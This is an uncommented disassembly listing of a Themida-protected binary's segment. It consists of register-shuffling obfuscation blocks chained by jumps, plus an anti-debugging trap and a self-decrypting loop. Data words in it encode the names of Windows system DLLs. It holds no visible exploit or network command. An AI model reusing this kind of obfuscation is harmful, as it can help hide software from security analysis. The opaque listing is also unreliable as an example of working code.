loc_5AEEEA:				; CODE XREF: Themida_:005A979Bj
		shr	eax, 7
		shr	eax, 1
		shr	eax, 2
		sub	eax, 375D70h
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		sub	esp, 4
		jmp	loc_5AE238
; ---------------------------------------------------------------------------


loc_5AEF0B:				; CODE XREF: Themida_:0059E7F4j
		mov	[esp], esi
		push	561701C2h
		pop	esi
		shr	esi, 7
		sub	esi, 3F7B2804h
		jge	loc_59E4AE
		sub	esp, 4
		jmp	loc_59DE7E
; ---------------------------------------------------------------------------


loc_5AEF2B:				; CODE XREF: Themida_:0059F6E4j
		pop	esp
		jmp	loc_59985D
; ---------------------------------------------------------------------------


loc_5AEF31:				; CODE XREF: Themida_:005A0F38j
		sub	ebx, 1000C09Bh
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_5A9E49
; ---------------------------------------------------------------------------


loc_5AEF41:				; CODE XREF: Themida_:005A11A8j
		not	ecx
		sub	ecx, 0AAF22ABh
		sub	eax, ecx
		pop	ecx
		jmp	loc_59B7CB
; ---------------------------------------------------------------------------


loc_5AEF51:				; CODE XREF: Themida_:loc_5A5D9Ej
					; Themida_:005AAD0Aj
		add	edx, 0C757B78h
		jbe	loc_5A6962
		xor	edx, 2DD67E54h
		mov	eax, edx
		jmp	loc_5999B8
; ---------------------------------------------------------------------------


loc_5AEF6A:				; CODE XREF: Themida_:0059D4D6j
		mov	edx, esp
		jmp	loc_5A9B0F
; ---------------------------------------------------------------------------


loc_5AEF71:				; CODE XREF: Themida_:005AC4BDj
		and	ecx, 4355281Dh
		jp	loc_5A84D2
		shr	ecx, 4
		jmp	loc_5AE699
; ---------------------------------------------------------------------------


loc_5AEF85:				; CODE XREF: Themida_:005AD75Bj
					; Themida_:005AED90j
		mov	ebx, 4B7D7A9Bh
		xor	ebx, 0B4828564h
		jmp	loc_5A6406
; ---------------------------------------------------------------------------


loc_5AEF95:				; CODE XREF: Themida_:005A14A8j
		not	ebx
		add	ebx, 1
		push	edi
		mov	edi, 77623554h
		or	ebx, edi
		pop	edi
		jmp	loc_5A9894
; ---------------------------------------------------------------------------


loc_5AEFA8:				; CODE XREF: Themida_:005A0BFEj
		xchg	edx, ebp
		jmp	loc_5A0E21
; ---------------------------------------------------------------------------


loc_5AEFAF:				; CODE XREF: Themida_:005AC1EEj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A6CA2
; ---------------------------------------------------------------------------


loc_5AEFBC:				; CODE XREF: Themida_:0059D849j
		pop	esp
		jmp	loc_5A57F9
; ---------------------------------------------------------------------------


loc_5AEFC2:				; CODE XREF: Themida_:0059B49Bj
		pop	esp
		jmp	loc_5AC94A
; ---------------------------------------------------------------------------


loc_5AEFC8:				; CODE XREF: Themida_:005AB39Dj
		add	dl, bh
		pop	bx
		neg	dl
		add	dl, 42h
		not	dl
		sub	dl, 37h
		or	ch, dl
		pop	edx
		jmp	loc_5AD438
; ---------------------------------------------------------------------------


loc_5AEFDE:				; CODE XREF: Themida_:005A3C78j
					; Themida_:005A6606j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5A1835
; ---------------------------------------------------------------------------


loc_5AEFED:				; CODE XREF: Themida_:005AB62Fj
		and	edx, 389443D8h
		add	edx, 0F4C969C2h
		and	edi, edx
		mov	edx, [esp]
		push	504Fh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59A25A
; ---------------------------------------------------------------------------


loc_5AF013:				; CODE XREF: Themida_:005A9060j
		push	ecx
		mov	ecx, esp
		jmp	loc_59B88F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	23F1h
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A27A7
; ---------------------------------------------------------------------------


loc_5AF040:				; CODE XREF: Themida_:0059F845j
					; Themida_:005AE231j
		push	edx
		mov	dl, 32h
		shl	dl, 6
		xor	dl, 87h
		push	eax
		mov	al, 59h
		jmp	loc_5A950D
; ---------------------------------------------------------------------------


loc_5AF051:				; CODE XREF: Themida_:0059CBF0j
		not	dh
		jmp	loc_5AB550
; ---------------------------------------------------------------------------


loc_5AF058:				; CODE XREF: Themida_:00599EFCj
		jl	loc_599334
		xor	esi, 22EC2184h
		mov	[edx+30h], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5AC2EB
; ---------------------------------------------------------------------------


loc_5AF075:				; CODE XREF: Themida_:005A4E64j
		push	ebp
		jmp	loc_5AA599
; ---------------------------------------------------------------------------


loc_5AF07B:				; CODE XREF: Themida_:005AB74Fj
		jmp	loc_5A8FF6
; ---------------------------------------------------------------------------


loc_5AF080:				; CODE XREF: Themida_:005A3263j
		xor	dh, 0B2h
		jmp	loc_5A7F76
; ---------------------------------------------------------------------------


loc_5AF088:				; CODE XREF: Themida_:00598A52j
		sub	cl, 31h
		add	cl, 64h
		sub	cl, ah
		sub	cl, 64h
		jmp	loc_5A63FA
; ---------------------------------------------------------------------------


loc_5AF098:				; CODE XREF: Themida_:005A599Fj
		push	0C46h
		mov	[esp], esp
		jmp	loc_5AAF0A
; ---------------------------------------------------------------------------


loc_5AF0A5:				; CODE XREF: Themida_:0059E83Bj
		pop	esp
		mov	[esp], cx
		mov	ch, bh
		jmp	loc_5AF58E
; ---------------------------------------------------------------------------


loc_5AF0B1:				; CODE XREF: Themida_:005A76C8j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AF0B6:				; CODE XREF: Themida_:00599525j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_5A8514
; ---------------------------------------------------------------------------


loc_5AF0CB:				; CODE XREF: Themida_:005A30B7j
		xor	edi, [esp]
		mov	esp, [esp]
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_59DCEA
; ---------------------------------------------------------------------------


loc_5AF0DA:				; CODE XREF: Themida_:0059B294j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5AAAF4
; ---------------------------------------------------------------------------


loc_5AF0E8:				; CODE XREF: Themida_:005ABAF4j
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5A3F45
; ---------------------------------------------------------------------------


loc_5AF0F4:				; CODE XREF: Themida_:005A5EA9j
		push	edi
		mov	edi, 4
		sub	ebp, 0B640564h
		sub	ebp, edi
		add	ebp, 0B640564h
		jmp	loc_5A3FC5
; ---------------------------------------------------------------------------


loc_5AF10D:				; CODE XREF: Themida_:0059C5A3j
					; Themida_:005A5D65j
		xor	edi, 6FD54227h
		add	eax, edi
		pop	edi
		jmp	loc_5991AB
; ---------------------------------------------------------------------------


loc_5AF11B:				; CODE XREF: Themida_:005A5755j
		push	ebp
		push	eax
		mov	eax, 6B9820E2h
		jmp	loc_5AEED4
; ---------------------------------------------------------------------------


loc_5AF127:				; CODE XREF: Themida_:005ACBB3j
		xchg	edi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5AC250
; ---------------------------------------------------------------------------


loc_5AF13B:				; CODE XREF: Themida_:005A86A1j
		add	esi, 0FCFF6C5Ch
		xor	edx, esi
		pop	esi
		xor	eax, edx
		pop	edx
		jmp	loc_5AD7F3
; ---------------------------------------------------------------------------


loc_5AF14C:				; CODE XREF: Themida_:0059A47Aj
		jmp	loc_5A5F47
; ---------------------------------------------------------------------------


loc_5AF151:				; CODE XREF: Themida_:005A66D0j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0BA5CACh
		or	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ebp, 0FE5CFBh
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_59A04E
; ---------------------------------------------------------------------------


loc_5AF185:				; CODE XREF: Themida_:005A5428j
		add	esi, 4
		add	esi, 4
		push	1FE8h
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_5A06DB
; ---------------------------------------------------------------------------


loc_5AF1A2:				; CODE XREF: Themida_:0059C76Bj
		pop	ecx
		and	edi, 13EA43DAh
		jb	loc_5AB168
		shl	edi, 5
		push	ebp
		mov	ebp, 1CBB702Ch
		jmp	loc_5A2068
; ---------------------------------------------------------------------------


loc_5AF1BD:				; CODE XREF: Themida_:loc_5AA221j
		neg	esi
		jz	loc_5A6493
		shl	esi, 4
		jmp	loc_59FE36
; ---------------------------------------------------------------------------


loc_5AF1CD:				; CODE XREF: Themida_:005A9749j
		mov	edx, esp
		push	ecx
		jmp	loc_5A4260
; ---------------------------------------------------------------------------


loc_5AF1D5:				; CODE XREF: Themida_:0059DEDDj
					; Themida_:loc_5AB2C7j
		add	esp, 4
		add	esi, 4
		jmp	loc_59B271
; ---------------------------------------------------------------------------


loc_5AF1E3:				; CODE XREF: Themida_:005AB7D9j
		sub	esi, ebp
		jmp	loc_5AB3F5
; ---------------------------------------------------------------------------


loc_5AF1EA:				; CODE XREF: Themida_:005ADBD8j
		sub	ebx, 60855C3Fh
		add	ebx, edi
		add	ebx, 60855C3Fh
		jmp	loc_5A2B61
; ---------------------------------------------------------------------------


loc_5AF1FD:				; CODE XREF: Themida_:005AC282j
		push	dword ptr [esp]
		jmp	loc_5A3E9F
; ---------------------------------------------------------------------------


loc_5AF205:				; CODE XREF: Themida_:0059D7A2j
					; Themida_:005A16F7j ...
		push	edx
		mov	edx, 5BD461D8h
		sub	edi, 4741574Fh
		add	edi, edx
		add	edi, 4741574Fh
		pop	edx
		jmp	loc_5A575A
; ---------------------------------------------------------------------------


loc_5AF21F:				; CODE XREF: Themida_:0059CF63j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_59C602
; ---------------------------------------------------------------------------


loc_5AF22A:				; CODE XREF: Themida_:005ACBE4j
		push	esi
		jmp	loc_5A23D3
; ---------------------------------------------------------------------------


loc_5AF230:				; CODE XREF: Themida_:005A47CBj
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5AD966
; ---------------------------------------------------------------------------


loc_5AF23B:				; CODE XREF: Themida_:005AA578j
		add	esp, 4
		sub	ebx, 9F7632Eh
		add	ebx, eax
		add	ebx, 9F7632Eh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59A3E8
; ---------------------------------------------------------------------------


loc_5AF25D:				; CODE XREF: Themida_:0059E9B3j
					; Themida_:005A3F74j
		xchg	ecx, [esp]
		pop	esp
		push	ecx
		push	esi
		push	6C46h
		mov	[esp], edx
		push	1B731FCBh
		jmp	loc_5A7C89
; ---------------------------------------------------------------------------


loc_5AF275:				; CODE XREF: Themida_:005A1546j
		jns	loc_59B387
		dec	ah
		jle	loc_5A7143
		mov	ch, bl


loc_5AF285:				; CODE XREF: Themida_:0059FAC7j
		add	esp, 4
		add	edi, 4
		jmp	loc_59863C
; ---------------------------------------------------------------------------


loc_5AF293:				; CODE XREF: Themida_:005A6132j
		shl	edx, 6
		js	loc_5AAD03
		inc	edx
		jle	loc_5AD4AD
		mov	edi, ebx
		sub	al, 8Dh


loc_5AF2A7:				; CODE XREF: Themida_:005A4904j
		sub	ebx, 5AA75DF3h
		add	ebx, 7A60009Eh
		jmp	loc_59A67C
; ---------------------------------------------------------------------------


loc_5AF2B8:				; CODE XREF: Themida_:005AD3E8j
		add	esp, 4
		sub	eax, 0FFFFFFFFh
		xor	eax, 61153144h
		sub	edi, 0F1B2120h
		jmp	loc_59AAA4
; ---------------------------------------------------------------------------


loc_5AF2CE:				; CODE XREF: Themida_:005A5D2Ej
		add	esp, 4
		add	al, cl
		push	edx
		jmp	loc_598715
; ---------------------------------------------------------------------------


loc_5AF2DC:				; CODE XREF: Themida_:005AE8FBj
		mov	ebp, ebx
		pop	ebx
		jmp	loc_5A9203
; ---------------------------------------------------------------------------


loc_5AF2E4:				; CODE XREF: Themida_:005A24EAj
		push	ebp
		mov	ebp, 1D95653Ah
		dec	ebp
		shr	ebp, 3
		jmp	loc_59A1A0
; ---------------------------------------------------------------------------


loc_5AF2F3:				; CODE XREF: Themida_:0059EC97j
		sub	bl, cl
		pop	ecx
		push	edx
		push	ebp
		mov	ebp, 63675EC4h
		or	ebp, 3306324Bh
		jmp	loc_5AF4D9
; ---------------------------------------------------------------------------


loc_5AF308:				; CODE XREF: Themida_:005988C7j
		shl	eax, 3
		dec	eax
		jmp	loc_5A828D
; ---------------------------------------------------------------------------


loc_5AF311:				; CODE XREF: Themida_:005A5286j
		jns	loc_5A10EB
		push	ebx
		jmp	loc_5AEDD2
; ---------------------------------------------------------------------------
		pop	ebx
		dec	dl
		pop	esp
		mov	cx, [esp]
		push	788Ah
		jmp	loc_5A182D
; ---------------------------------------------------------------------------


loc_5AF32F:				; CODE XREF: Themida_:0059C37Aj
		push	edi
		mov	edi, 4
		add	edx, 0C96040Bh
		push	eax
		push	edi
		mov	edi, 7B49452Ch
		neg	edi
		push	eax
		mov	eax, 42E57C53h
		add	eax, 9D1F27D9h
		add	edi, eax
		jmp	loc_59F66A
; ---------------------------------------------------------------------------


loc_5AF356:				; CODE XREF: Themida_:005A46BEj
		xor	al, 9
		mov	ch, al
		pop	eax
		push	eax
		mov	al, 0D1h
		push	small 0
		sub	[esp], al
		jmp	loc_5ADC7C
; ---------------------------------------------------------------------------


loc_5AF36A:				; CODE XREF: Themida_:005AC9A5j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		or	eax, eax
		jz	loc_59CA19
		push	ecx
		push	28h
		pop	ecx
		push	0F39h
		mov	[esp], edi
		jmp	loc_59A6DC
; ---------------------------------------------------------------------------


loc_5AF392:				; CODE XREF: Themida_:005994D0j
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		push	edi
		push	ecx
		mov	ecx, 3F8C784Bh
		shl	ecx, 6
		jp	loc_5A2AFB
		add	ecx, 1CE1ED44h
		mov	edi, ecx
		mov	ecx, [esp]
		xor	al, 0A1h
		mov	edi, ebx


loc_5AF3B8:				; CODE XREF: Themida_:005AD406j
		push	15DFh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5ACB24
; ---------------------------------------------------------------------------


loc_5AF3CB:				; CODE XREF: Themida_:005AEA1Ej
		mov	esi, esp
		jmp	loc_59C7E4
; ---------------------------------------------------------------------------


loc_5AF3D2:				; CODE XREF: Themida_:005A4493j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5AD24B
; ---------------------------------------------------------------------------


loc_5AF3DD:				; CODE XREF: Themida_:005A3CD2j
		xor	edi, ebx
		jmp	loc_599088
; ---------------------------------------------------------------------------


loc_5AF3E4:				; CODE XREF: Themida_:005A0A65j
		add	esi, 503CE251h
		mov	eax, esi
		jmp	loc_5A35DF
; ---------------------------------------------------------------------------


loc_5AF3F1:				; CODE XREF: Themida_:005A4249j
		add	ecx, ebx
		pop	ebx
		jmp	loc_59AD63
; ---------------------------------------------------------------------------


loc_5AF3F9:				; CODE XREF: Themida_:0059F8A5j
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_599EBE
; ---------------------------------------------------------------------------


loc_5AF415:				; CODE XREF: Themida_:005A0D22j
		push	edx
		jmp	loc_5A056D
; ---------------------------------------------------------------------------


loc_5AF41B:				; CODE XREF: Themida_:005A2247j
		push	686034EBh
		pop	eax
		inc	eax
		add	eax, 4E4346ACh
		xor	eax, 8263043Dh
		jmp	loc_5A7C9C
; ---------------------------------------------------------------------------


loc_5AF431:				; CODE XREF: Themida_:005A90C1j
		sub	eax, 0B633FD8h
		push	esi
		mov	esi, 2E8E1468h
		push	ecx
		mov	ecx, 41547813h
		xor	ecx, 724531A5h
		sub	esi, ecx
		pop	ecx
		add	esi, 42F0440Fh
		sub	eax, esi
		pop	esi
		jmp	loc_598A3F
; ---------------------------------------------------------------------------


loc_5AF459:				; CODE XREF: Themida_:005A35CCj
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_59D73A
; ---------------------------------------------------------------------------


loc_5AF497:				; CODE XREF: Themida_:005AA364j
		xchg	bl, [esp+1]
		pop	ax
		jmp	loc_59D16C
; ---------------------------------------------------------------------------


loc_5AF4A2:				; CODE XREF: Themida_:005A6352j
		mov	esp, [esp]
		shr	eax, 10h
		xor	eax, ecx
		push	585Ch
		jmp	loc_5A3350
; ---------------------------------------------------------------------------


loc_5AF4B4:				; CODE XREF: Themida_:005AA15Ej
		pop	ebp
		sub	esp, 4
		jmp	loc_5A7FB5
; ---------------------------------------------------------------------------


loc_5AF4C0:				; CODE XREF: Themida_:005A3259j
		not	dh
		inc	dh
		jmp	loc_59A979
; ---------------------------------------------------------------------------


loc_5AF4C9:				; CODE XREF: Themida_:0059D8D8j
		push	edi
		mov	edi, esp
		jmp	loc_5AB400
; ---------------------------------------------------------------------------


loc_5AF4D1:				; CODE XREF: Themida_:0059A3C6j
		mov	ebp, [esp]
		jmp	loc_5AA369
; ---------------------------------------------------------------------------


loc_5AF4D9:				; CODE XREF: Themida_:005AF303j
		push	0FB0h
		mov	[esp], esi
		push	1B175AFh
		jmp	loc_5A0C58
; ---------------------------------------------------------------------------


loc_5AF4EB:				; CODE XREF: Themida_:005A1857j
		mov	dx, [esp]
		push	70FEh
		mov	[esp], eax
		jmp	loc_5AE6E3
; ---------------------------------------------------------------------------


loc_5AF4FC:				; CODE XREF: Themida_:005AB0E0j
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A304A
; ---------------------------------------------------------------------------


loc_5AF50E:				; CODE XREF: Themida_:005AD15Aj
		add	esp, 4
		jmp	loc_5AC9C4
; ---------------------------------------------------------------------------


loc_5AF519:				; CODE XREF: Themida_:005A4397j
		push	eax
		mov	al, cl
		mov	bh, al
		pop	eax
		pop	ecx
		inc	bh
		jz	loc_5AD73C
		jmp	loc_59CC55
; ---------------------------------------------------------------------------


loc_5AF52D:				; CODE XREF: Themida_:005990A4j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_5A23C0
; ---------------------------------------------------------------------------


loc_5AF53C:				; CODE XREF: Themida_:005AD20Bj
		sub	edx, 35EE7308h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5AF54D:				; CODE XREF: Themida_:00599858j
		push	edx
		mov	edx, 442E49E6h
		add	edx, 42F90AA9h
		add	edx, 325B35D7h
		shl	edx, 8
		dec	edx
		xor	edx, 0A971776Ah
		mov	ecx, edx
		pop	edx
		jmp	loc_59EF18
; ---------------------------------------------------------------------------


loc_5AF571:				; CODE XREF: Themida_:005ABC63j
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, ebp
		sub	eax, 5C007630h
		pop	ebp
		jmp	loc_598462
; ---------------------------------------------------------------------------


loc_5AF587:				; CODE XREF: Themida_:00599505j
		add	ebx, esi
		jmp	loc_5A48ED
; ---------------------------------------------------------------------------


loc_5AF58E:				; CODE XREF: Themida_:005AF0ACj
		not	ch
		jmp	loc_5A430A
; ---------------------------------------------------------------------------


loc_5AF595:				; CODE XREF: Themida_:00589FA2j
		call	near ptr loc_5AF5A3+1
		int	3		; Trap to Debugger
		outsb
		xchg	eax, esp
		push	ebx
		push	ds
		adc	[esi], dl
		mov	dl, 23h


loc_5AF5A3:				; CODE XREF: Themida_:loc_5AF595p
		sub	[ecx-40A3780Dh], eax
		xor	bl, [edx+56h]
		jmp	loc_5AF5C1
; ---------------------------------------------------------------------------
		db 16h,	0ABh, 0E6h
		dd 3A6BB97Ah, 197E4175h, 5004EDB1h
		db 67h
; ---------------------------------------------------------------------------


loc_5AF5C1:				; CODE XREF: Themida_:005AF5ACj
		pop	eax
		add	edx, 6750h
		or	ebx, [ebp+7E42569h]
		xor	esi, esi
		jmp	loc_5AF5DE
; ---------------------------------------------------------------------------
		db 0A2h, 30h, 86h
		dd 93E091CEh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 1Ah
; ---------------------------------------------------------------------------


loc_5AF5DE:				; CODE XREF: Themida_:005AF5D0j
					; Themida_:005AF65Aj
		push	dword ptr [esi+edx]
		jmp	loc_5AF5FA
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 46h
		dd 0B4195B80h, 0C64621E8h, 0A18F149Ch, 0C4D34EDh
		db 5Dh,	1Ah
; ---------------------------------------------------------------------------


loc_5AF5FA:				; CODE XREF: Themida_:005AF5E1j
		pop	edi
		mov	ebx, [ebp+7E40041h]
		xor	edi, 72A6E77Eh
		mov	eax, [ebp+7E4183Dh]
		add	edi, 3A8819EAh
		jmp	loc_5AF61E
; ---------------------------------------------------------------------------
		dd 0C8219241h
		db 18h,	5
; ---------------------------------------------------------------------------


loc_5AF61E:				; CODE XREF: Themida_:005AF613j
		xor	edi, 0F838136h
		mov	ax, 130Ah
		mov	[edx+esi], edi
		push	eax
		sub	eax, [ebp+7E415B1h]
		pop	ecx
		sub	[ebp+7E41F95h],	ebx
		sub	esi, 3
		xor	[ebp+7E405F9h],	ebx
		dec	esi
		jmp	loc_5AF654
; ---------------------------------------------------------------------------
		dd 8395C814h, 42FA809Fh, 8B07218Bh
; ---------------------------------------------------------------------------


loc_5AF654:				; CODE XREF: Themida_:005AF643j
		cmp	esi, 0FFFF9974h
		jnz	loc_5AF5DE
		mov	ah, 68h
		jmp	loc_5AF6C9
; ---------------------------------------------------------------------------
		db 0F8h
		dd 551489D7h, 33524553h, 6C642E32h, 4441006Ch, 49504156h
		dd 642E3233h, 4E006C6Ch, 4C4C4454h, 6C6C642Eh, 207D800h
		dd 19000100h, 2B001000h, 32001D00h, 1, 0Ah dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5AF6C9:				; CODE XREF: Themida_:005AF662j
		jmp	loc_5AFFF7
; ---------------------------------------------------------------------------
		push	7E6D349h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E6D3B8h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E6D4FFh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E6D661h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E6D6EEh
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E6D808h
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		push	7E6D87Ch
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		dd 51E507DFh, 0AE42623Bh, 0EA2BC98h, 710519F8h,	0D064805Bh
		dd 7D58F1F7h, 0DDB7CD61h, 37152BBFh, 9A778D21h,	8B3BEE82h
		dd 0A472690Eh, 11A0E513h, 0B84C445h, 8D653A3h, 0D713A68Ch
		dd 0B5415F39h, 0EA85BDDBh, 4E89F9D8h, 0AED159D1h, 16212A83h
		dd 0CA7CCD8Ch, 5DAD018Eh, 68805DFBh, 0FC2E06FDh, 0F774D4F5h
		dd 0F5FC2E00h, 0FA0C65CEh, 2F419F1Ch, 0AF0FF218h, 0E0304D32h
		dd 14A009FDh, 48E31B3Bh, 0AFE0B7EFh, 3611AFFFh,	0AD2A081Ah
		dd 0FA040B0Eh, 41A3F35Ch, 76AEC6A3h, 0D2AFC9DBh, 331026BAh
		dd 0A8AA8714h, 0C29E1B81h, 7CD570A8h, 89DA581Ch, 6EC7D4B5h
		dd 76D9511Ah, 38BEFE80h, 766h, 11A5C79Fh, 6E0222FBh, 0CE627C58h
		dd 31C5D9B8h, 9024401Bh, 3D1831B7h, 9D778D21h, 0F7D5EB7Fh
		dd 5A374DE1h, 4BFBAE42h, 0A47329CEh, 0D160A513h, 29617956h
		dd 21713D52h, 2A4621BFh, 4C4557F2h, 13A47153h, 0E44696FFh
		dd 0F2526846h, 9B062C29h, 7B95A729h, 9937879Dh,	6F91A3BDh
		dd 2D657B59h, 166A825Fh, 6A16DF5Fh, 0F73EC404h,	0E000006h
		dd 6A801436h, 0C7DD7191h, 273DD1EBh, 8AA03448h,	26FF93AFh
		dd 90AC87C0h, 0EE0CE6FCh, 5066445Ah, 0B1C9A6BCh, 3DBA6A1Dh
		dd 13A47346h, 5640CF14h, 5B296179h, 0EA2E667Eh,	0F7188AECh
		dd 0EF182035h, 6916ED58h, 5BC41442h, 0C4F8AC49h, 0E05B543Bh
		dd 2E6EB5Dh, 3345C9B5h,	79B1CBA7h, 672DCCDEh, 4D000000h
		dd 0A8BAD2AFh, 617956D3h, 7A55F3CDh, 77774C5Eh,	1442A084h
		dd 861A320Fh, 1A300EACh, 4AAE508h, 0D2F337B4h, 51C113A6h
		dd 1EFB908Ch, 7FEDA606h, 0F290E039h, 0D5EFCB14h, 0E98E0B9Dh
		dd 6513A67Dh, 0FA4AA3FCh, 31697D5Ch, 4C628496h,	6A08586Eh
		dd 9E397191h, 3740C68Ch, 0C6000006h, 7D10E764h,	55BE13A6h
		dd 79566E43h, 3D522961h, 3AA42171h, 5813A6BDh, 25019FEFh
		dd 2638D30Bh, 0F911EE04h, 65494665h, 899C7715h,	0A6BE770Ch
		dd 217AE313h, 5E3C4EE9h, 406FF5E1h, 0E6369F14h,	968BE174h
		dd 0CB669EBCh, 0E754116Bh, 7B59F7D5h, 3D0AF16Eh, 58C81B88h
		dd 9A6121B8h, 0B3035C19h, 88E04136h, 4BA40D1Bh,	0ADC3A1B7h
		dd 97E2BF5Dh, 0CB669EBEh, 0CC9A6072h, 0FC83D7EFh, 7B6232D6h
		dd 5B0B53Bh, 7D550000h,	0D8B1C75Bh, 320E24B8h, 8F6E8418h
		dd 0F6D1E77Bh, 876D46DAh, 43D7F3CEh, 0A135532Dh, 397AD8Bh
		dd 64F810EDh, 0FF8401B1h, 5B13A474h, 79568716h,	7E5B2961h
		dd 86602E66h, 0E8415735h, 0EF03E2B0h, 0AED653B7h, 6323E0E2h
		dd 42A26F1Dh, 8560FE14h, 2B963169h, 1442A254h, 0CC499902h
		dd 1442A237h, 94E13AA3h, 0E05C0F6Ah, 0FFFEBE69h, 0F49292FFh
		dd 9472FE18h, 75526C7Eh, 2193255Dh, 0CC2DA9F2h,	0CDB22FF4h
		dd 89144217h, 92B5C720h, 0E461B1FDh, 13A61AFAh,	81CFB99h
		dd 5EAE17F6h, 65F87FFCh, 0ED5613A6h, 0F59AB9DBh, 6EC69B9h
		dd 0D5144245h, 30425A37h, 3B0E851h, 1B8A4579h, 0D487BFD0h
		dd 19E78862h, 52ED253Bh, 0C4D0E0F2h, 7E00BD64h,	4A5C6560h
		dd 93BB906Fh, 1B545D0h,	456E0000h, 0A30B84C4h, 8C08D653h
		dd 75D713A6h, 0A68C03F8h, 0A1B59413h, 147DCE69h, 0B1BA2302h
		dd 2F4523C1h, 90B2241Dh, 0F39CCA7Ch, 90EE6BBBh,	5EF218E8h
		dd 2907A5F5h, 2CD81B0Ch, 0E43D54E5h, 39FF11ACh,	31812D62h
		dd 3BAD52CFh, 0C029FDE0h, 7453D0AEh, 2FA0400h, 0CEAB4999h
		dd 548CA883h, 0AE1060B9h, 0C4774A31h, 4F9F08E5h, 0C4772DD2h
		dd 2E40A9E5h, 119F60Ch,	763FDCADh, 0E96FAF80h, 44Eh, 29BDDFB7h
		dd 861A3A13h, 0E67A9470h, 49DDF1D0h, 0A83C5833h, 553029CFh
		dd 0B58FA539h, 0FED0397h, 724F65F9h, 6313C65Ah,	0A47611E6h
		dd 0E978BD13h, 1C6C424Dh, 798B9F7Eh, 5AD7399Bh,	1442A0A5h
		dd 0C6FE1CF6h, 0FD7ADA2Bh, 1442A006h, 86126BD4h, 0BB568EACh
		dd 7137B0A9h, 0DE7C13A4h, 1996E604h, 13A47262h,	967587F0h
		dd 663FDD2Dh, 0B8563446h, 82B1BDDAh, 0EA41A224h, 9E7FD91h
		dd 10EDBBF3h, 16EFA4F8h, 70B06A17h, 3C1EAh, 4A6C4400h
		dd 0A7C7A0B6h, 721FD13h, 6A7E5D73h, 0C9E5C0D6h,	0BD965C35h
		dd 1C32C6E2h, 7A902442h, 0DCF2869Ch, 0A053E7FFh, 768C73F0h
		dd 54A13A4h, 0DB209276h, 0EA031491h, 22FF192Bh,	2704D20Ah
		dd 2C09D70Fh, 8D3ADC14h, 1A43FAB5h, 0B6CEAB37h,	6A1A9D7Eh
		dd 44CDB22Fh, 20891442h, 65C7C5C7h, 424413E8h, 656BF14h
		dd 4244F289h, 0E5F76014h, 0B4421C48h, 1A144246h, 14EB68CAh
		dd 0C2144246h, 926C4759h, 41E05B2Bh, 0FFFFFCB3h, 6179566Ah
		dd 713D5229h, 0A31AAF21h, 0BEACDC71h, 0FB51CEACh, 7913A6E6h
		dd 92AB7C10h, 0C4FC1AF4h, 0B8EC1729h, 0F5456926h, 0B284DF83h
		dd 0B95CBCD6h, 815F71B7h, 0A6BE5604h, 929B0413h, 0F2704A2h
		dd 312A3CD7h, 0BBB18D54h, 0EDC6B5DAh, 0A1FA95CDh, 70B6D451h
		dd 0DB44BC5Dh, 0EBC3CCA3h, 523FD9Bh, 422032CDh,	7949E6C5h
		dd 971474A4h, 0AB86ADE0h, 38B5056Eh, 0AB86AD43h, 0FD4DA60Fh
